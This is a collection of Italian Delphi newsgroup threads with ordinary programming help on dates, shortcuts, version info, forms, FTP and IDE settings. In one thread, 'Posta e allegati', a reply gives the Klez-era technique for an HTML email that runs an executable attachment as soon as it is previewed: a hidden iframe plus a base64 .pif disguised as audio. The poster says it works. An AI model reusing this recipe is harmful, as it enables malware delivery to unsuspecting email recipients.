Non mi sembra che tu abbia commesso un errore nel tuo procedimento: 
stavi semplicemente considerando implicito un principio di funzionamento 
che non avviene come lo intendevi tu per i motivi che ti ho spiegato.
In sostanza, non preoccuparti perchè Delphi ti funziona a meraviglia. :-)


Newsgroup: it.comp.lang.delphi
Titolo: Convertire Stringa data da '31/12/2005' a '12/31/2005' ?

Convertire la data che è in formato stringa
da  '31/12/2005' a '12/31/2005'?
Ciao by Enzo

Dovrebbe eser semplice come lo scmbio su array
Se la data è una variabile stringa di nome Data
Per cambiare basta usare questo e una variabile d'appoggio
App:=data[1];
Data[1]:=data[4];
Data[4]:=app;
App:=data[2];
Data[2]:=data[5];
Data[5]:=data[2];
Dovrebbe funzionare..lo spero
"LaGuna" <nam...@mail.som> ha scritto nel messaggio 
news:DXWre.4347$D7.1...@twister1.libero.it...


 Data[5]:=data[2];
forse l'ultima e' Data[5]:=App;
Giorgio Padoan 

 da  '31/12/2005' a '12/31/2005'?
NewData := Copy(Data,3,3) + Copy(Data,1,2) + Copy(Data,6,5);
-- 
Poochie©
Newsgroup: it.comp.lang.delphi
Titolo: Leggere/Modificare il Layout di un file *.lnk

Raga, non so più dove cercare
Qualcuno sa come posso leggere (e di conseguenza modificare) il layout di un
link creato tramite IShellLink ?
Può essere banale opppure stra-complicato, però  non so più dove cercare ...
(
msdn.com
 ormai non ha più segreti)
Qualcuno ha avuto esperienze ?
Grazie per le eventuali dritte..
Andrea

 link creato tramite IShellLink ?
Forse sono ignorante io in merito all'argomento, ma cosa intendi per 
"layout"? Ti riferisci alle proprietà del collegamento stesso?
Ciao! :-)
-- 
MARCO «Alka» BREVEGLIERI
   (
http://www.marco.breveglieri.name
)
Leggi le FAQ di ICLD: 
http://icld.altervista.org

 ha scritto nel messaggio
news:R8Fge.1370398$35.51...@news4.tin.it...
: Forse sono ignorante io in merito all'argomento, ma cosa intendi per
: "layout"? Ti riferisci alle proprietà del collegamento stesso?
: Ciao! :-)
Sì, quelle dove puoi definire le "dimensioni del buffer dello schermo" e le
"dimensioni della finestra".

Newsgroup: it.comp.lang.delphi
Titolo: Posta e allegati

Come e' possibile creare un mail che alla sola apertura esegua un allegato?
Magari avvalendosi della tecnologia script?
Grazie


Con quale versione di Delphi?
Gianluca

 Magari avvalendosi della tecnologia script?
A mio avviso non c'e' modo, almeno non a livello generale.
La caratteristica di aprire degli allegati VBScript in automatico
da parte di alcune applicazioni Microsoft e' una contravvenzione
alle regole generali di sicurezza e credo sia comunque disattivabile.
Da Delphi puoi creare dei messaggi con allegato usando le MAPI.
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 ha scritto nel messaggio
news:1020428591.241013@fire-int...

Si puň fare.
L'ultimo virus che ha infestato mezzo mondo, il Klez.gen@mm  e sue
derivazioni utilizzava un baco di Outlook Express (e penso di internet
explorer) e del sistema di inclusione degli allegati multimediali per far
eseguire il virus appena viene visulizzata la mail in anteprima.
Il metodo č geniale e semplice allo stesso tempo.
Si crea un'email HTML con il seguente codice
<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:Y3zs53340868O height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>
e si inserisce una allegato codificato in base 64 con la seguente
intestazione
Content-Type: audio/x-wav; name=Fine.pif
Content-Transfer-Encoding: base64
Content-ID: <Y3zs53340868O>
e quě ci va il file codificato.
Ho verificato e funziona.
Si puň allegate qualsiasi tipo di file eseguibile.

 ha scritto nel messaggio
news:%TBA8.2278$US3....@twister1.libero.it...


 Grazie
Tra i componenti Indy trovi anche un codificatore in base 64 altrimenti
cerca su torry sicuramente trovi qualche cosa di già pronto, oppure cercati
l'algoritmo ed implementalo, non è molto complesso.
Saluti.
Newsgroup: it.comp.lang.delphi
Titolo: Versione del programma eseguibile

Qualcuno sa come si fa a leggere la versione del programma che viene
registrata in fase di compilazione ? (per intenderci quelle impostate con
Project\Options\Version Info e compare facendo proprietą sul file
eseguibile?)
Grazie
Vescovo Fabio
ArtWare S.r.l.
E-Mail 
Ves...@tin.it

 eseguibile?)
Penso che ti bastino GetFileVersionInfo/GetFileVersionInfoSize
--
- Carlo -
c.b...@libero.it

registrata in fase di compilazione ? 
function GetVersion( NomeFile : string ) : string ;
var Size1, Size2 : DWORD ;
    Pt1, Pt2 : Pointer ;
begin
  Result := '' ;
  Size1 := GetFileVersionInfoSize( PChar( NomeFile ), Size2 ) ;
  if ( Size1 > 0 ) then
  begin
    GetMem( Pt1, Size1 ) ;
    try
      GetFileVersionInfo( PChar( NomeFile ), 0, Size1, Pt1 ) ;
      VerQueryValue( Pt1, '\', Pt2, Size2 ) ;
      with TVSFixedFileInfo( Pt2^ ) do
        Result := IntToStr( HiWord( dwFileVersionMS ) ) + '.' +
                  IntToStr( LoWord( dwFileVersionMS ) ) + '.' +
                  IntToStr( HiWord( dwFileVersionLS ) ) + '.' +
                  IntToStr( LoWord( dwFileVersionLS ) ) ;
    finally
      FreeMem( Pt1 ) ;
    end ;
  end ;
end ;
--
Andrea Laforgia (ICQ 87230455)
"ci sono tre tipi di persone nel mondo : quelli che
 sono bravi in matematica e quelli che non lo sono."

Newsgroup: it.comp.lang.delphi
Titolo: Informazione da altra Form

Su una griglia ho messo un PopupMenu, dal quale apro un'altra form con
la quale inserisco o modifico dati sulla base della voce di menu
scelta. Ho quindi necesitą di conoscere sulla nuova form la voce
selezionata per poter poi effettuare l'inserimento o la modifica.
Come arrivo a quell'informazione? devo usare una varianile globale o
posso arrivarci tramite la gerarchia delle classi?
Grazie dell'aiuto.
Adriano 

 posso arrivarci tramite la gerarchia delle classi?
Imho e' meglio modificare un po' la form di edit dei dati piuttosto che
avere in giro una variabile globale.
Nella form di edit puoi ad esempio creare un metodo public;
analogamente, puoi trasmettere indietro le informazioni modificate
mediante evento o pubblicarle mediante proprieta'.
TfrmEditData = class(TForm)
...
public
  procedure InvokeByMenu(Sender: TObject);
...
end;
procedure TfrmEditData.InvokeByMenu(Sender: TObject);
begin
  if not(Sender is TMenuItem) then
    raise Exception.Create('Invalid caller');
  with Sender as TMenuItem do begin
    ShowMessage('Called by ' + Caption + ' menu'' item');
    // ... quel che serve
  end;
  Show; // o ShowModal
end;
dalla form che contiene il menu', nell'evento del menu' item:
procedure TfrmConGriglia.PopUpItemClick(Sender: TObject);
begin
  if not Assigned(frmEditData) then
    frmEditData := TfrmEditData.Create(Self);
  frmEditData.InvokeByMenu(Sender);
end;
o, semplicemente, assegnare all'evento OnClick del menu' item il metodo
InvokeByMenu
(non so se si riesca a fare a design-time, ma a runtime sicuramente si')
Saluti
Paolo Arosio

 scelta. Ho quindi necesità di conoscere sulla nuova form la voce

Newsgroup: it.comp.lang.delphi
Titolo: Drag e drop come Windows Explorer

Come si puó fare drag e drop da una Tedit a una Tfilelistbox per
muovere il file cui nome é nella Tedit e scroll e selezione automatica
della directory di destinazione col cursore del mouse mentre di
"droppeggia" allo stile Windows Explorer ?
Grazie

 Grazie
Come ultima nota penso tu debba usare un Treeview... giusto?
Beh, in questo caso ti informo che c'è una bellissima funzione di nome
GetNodeAt nella classe TTreeView che ti consente di determinare il nodo
esatto su cui sei e quindi fare tutte le elaborazioni del caso :D)
Ciao
Andrea
Newsgroup: it.comp.lang.delphi
Titolo: Comunicazione con porta USB

Salve, ho uno strumentino per la pressione che si collega alla porta USB
del PC. Esistono componenti delphi (possibilmente 6) che riescono a
comunicare con la porta USB?
Grazie,
          Marco
PS
  Mi è stato fornito un SW insieme allo strumentino ma non fa quello che
vorrei, io vorrei poter scaricare i dati memorizzati con un mio SW.
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 vorrei, io vorrei poter scaricare i dati memorizzati con un mio SW.
Credo che per essere in grado di interpretare i dati provenienti dallo 
strumento, oltre al riuscire nell'intento di colloquiare con la 
periferica via USB, tu debba conoscere anche il protocollo di 
comunicazione dello strumento stesso; magari, inoltra la richiesta al 
produttore.
Ciao! :-)
-- 
Marco «Alka» Breveglieri
  ABLS Team S.n.c. - Software & Web
  Via De Gasperi, 14
  42019 Scandiano (Reggio Emilia)
 
http://www.abls.it
Newsgroup: it.comp.lang.delphi
Titolo: periodici che trattano di delphi

salve,
esistono periodici da trovare in edicola ,per es. ogni mese ,che trattano di
delphi?
Grazie!

 Grazie!
-- 
Ciao, Anto', [35, 143, AQ] 
MB C SC 220 CDI Magma Red
"Di sempre cio' che senti e fai cio' che pensi."
				G.G. Màrquez



Purtroppo no (almeno che io sappia).  Esistono delle rubriche su
Computer Programming, una rivista che io acquisto regolarmente e che
mi pare abbastanza ben fatta.  In inglese esistono "The Delphi
Magazine" che č uno dei migliori (puoi leggere i Sample Articles su
www.thedelphimagazine.com
 per avere un'idea) e "Delphi Informant
Magazine" (
http://www.delphizine.com/
).  
-- 
Andrea Laforgia
Open Delphi Manual
http://groups.yahoo.com/group/delphi_open_manual/

delphi?
Lancia questa query e vedrai diversi thread a proposito, ma non ti illudere.
http://groups.google.it/groups?&q=riviste&meta=group%3Dit.comp.lang.delphi
Ciao
-- 
Morde. 
(morde at programmer dot net)
Newsgroup: it.comp.lang.delphi
Titolo: Rilevare ora e connessione

Vorrei realizzare un programma semplice che mi rilevasse l'ora e ad
una certa ora settata da me chiuda la connessione ad internet.
Come si puo' realizzare?
Grazie Ciao

 una certa ora settata da me chiuda la connessione ad internet.
Per rilevare l'ora corrente puoi utilizzare TimeToStr(time) (o semplicemente
time), per quel che riguarda le connessioni devi utilizzare le API RAS,
trovi tutta la documentazione sull'help di Win32, oppure cerca su
www.msdn.microsoft.com
 ... forse però fai prima a scaricarti un componentino
di (s)connessione che fa tutto da solo!
--
- Carlo -
c.b...@libero.it

Newsgroup: it.comp.lang.delphi
Titolo: [d6] Teoria - delphi e sincronia con palm

salve avendo un componente che permette la lettura delle tabelle di PALM e
un db interbase, qualcuno ha un idea del procedimento da seguire per
effettuare sincronia <-> bidirezionale???
Simone

ti serve prima di tutto un criterio per stabilire quale è il + recente 
tra 2 records, uno su ib e uno su palm
Questo dipende x lo + dalla struttura del record stesso che dovrebbe 
avere un campo o una combinazione di campi del tipo "data e ora ultima 
modific"
Oltre a ciò, serve un altro criterio per identificare i records aggiunti 
su uno dei due db.
Qui servirebbe una combinazione di campi che indentifichino in modo 
univoco per entrambi i database un record e tale combinazione potrebbe 
poi essere usata come chiave di ricerca per verificare o meno 
l'esistenza di un particolare record.
Tale chiave dovrebbe poi essere utilizzata per gestire anche i records 
cancellati.
Tecnicamente, la prima idea che mi passa x la testa è quella di creare 
un db temporaneo nel quale consolidare l'insieme dei dati dei 2 db.
Da qui, poi, ricreare i due database allineati.
Bye
A

questo è quello che faccio, però ci mette un sacco di tempo... che sia il
caso di salvare su file di testo in locale???

la prima volta che lanci tale sincronia cosa dovrebbe succedere???
Newsgroup: it.comp.lang.delphi
Titolo: TidFTP

Ciao a tutti,
ho un programma scritto in Delphi 6 (fatto 2 anni fa)
che tramite connessione telefonica( utilizzo gli oggetti MagRas)
arriva su un server e tramite il protocollo FTP carica e scarica dei
file ASCII.
Per l'utilizzo del protocollo FTP ho preferito usare (come consigliato
all'epoca su questo
NG) l'oggetto Indy TidFTP.
Ora, fino ad oggi ha sempre funzionato, ma da ieri uno dei portatili
ove installato il software
non riesce a scaricare i files dal server.
Gli restituisce il seguente errore :  "socket error 10061"
Alchè ho verificato la presenza di qualche firewall, ma niente.
Ho provato ad attivare il firewall dando come eccezione la mia
applicazione,
ma dopo l'errore è cambiato : "socket errore 10054"
L'unica cosa diversa dagli altri portatili ove installato il sw è che
su questo c'è
Windows XP SP 2 con tutti gli ultimi aggiornamenti.
Leggendo su vari POST all'interno del NG ho provato a rendere la
connessione FTP passiva
ma dopo non funzionano neanche gli altri portatili.
La porta configurata è la 21.
Qualcuno sa aiutarmi?
Grazie.
Rino

Windows XP SP 2 con tutti gli ultimi aggiornamenti.
FTP è FTP... Windows ci mette solo il socket. Prova a collegarti con un 
client FTP, anche con quello di Windows, e vedi cosa succede.
Altrimenti scaricati WireShark e guarda cosa succede.
--- posted by geoForum on 
http://www.delphiedintorni.it


ok, ma non capisco perchè allora il comportamento è diverso da un pc
ad un altro...

Newsgroup: it.comp.lang.delphi
Titolo: Cartella predefinita di salvataggio, non riesco a cambiarla

E' da poco che sto smanettando con Delphi 5, dopo essermi fatto un'idea
leggendo "Mastering Delphi".
Ho una perplessità in merito al salvataggio di nuovi Progetti e Unit:
- avvio Delphi (viene aperto automaticamente un nuovo progetto);
- scelgo File > Save e immancabilmente la finestra di dialogo è posizionata
sulla cartella Projects (sottocartella di Delphi);
- questo avviene anche se scelgo Project > Options e nella pagina
Directories/Conditionals imposto i percorsi di Output Directory e Unit
Output Directory, con la cartella da me prescelta; inoltre spunto la casella
di controllo Default presente nella stessa pagina Directories/Conditionals.
La situazione non è piacevole, perchè la cartella Delphi/Projects si trova a
molti click di distanza dalla cartella dove vorrei salvare le mie "prove",
che tra l'altro è su un altro disco fisso.
Le ho provate tutte per modificare questo comportamento di Delphi: ho
modificato tutti i percorsi della pagina Directories/Conditionals e ho
modificato i percorsi anche in Tools > Environment Options nelle pagina
Preferences e Library.
Tutto senza risultato.
Che si tratti di una voce del Registro di Configurazione, magari poco
documentata ?
--
Mauro.
"Non è morto ciò che in eterno può attendere,
e col passar di strane ere, anche la morte muore."
H. P. Lovecraft, The Nameless City (1921), in Weird Tales, novembre 1938.

di controllo Default presente nella stessa pagina Directories/Conditionals.
Sono diventato cretino anch'io, e non l'ho trovata.
Poi mi e' venuta un'idea: ho modificato il percorso della directory di
lavoro dell'icona che lancia Delphi, ed ecco fatto! Funziona!
Cosi' puoi avere piu' icone che lanciano Delphi ognuna con una
directory di lavoro differente...
Ciao!
Chris

 directory di lavoro differente...
[...]
anche così è interessante, ma nel frattempo (nel NG libero.delphi) mi hanno
suggerito (lo so che fare crossposting è PECCATO...ma questa volta non ho
resistito!) di attivare questa opzione:
Tools > Environment Options > Preferences > Autosave Options > Project
Desktop = (true)
Salva l'ultimo Desktop utilizzato...
Ciao!
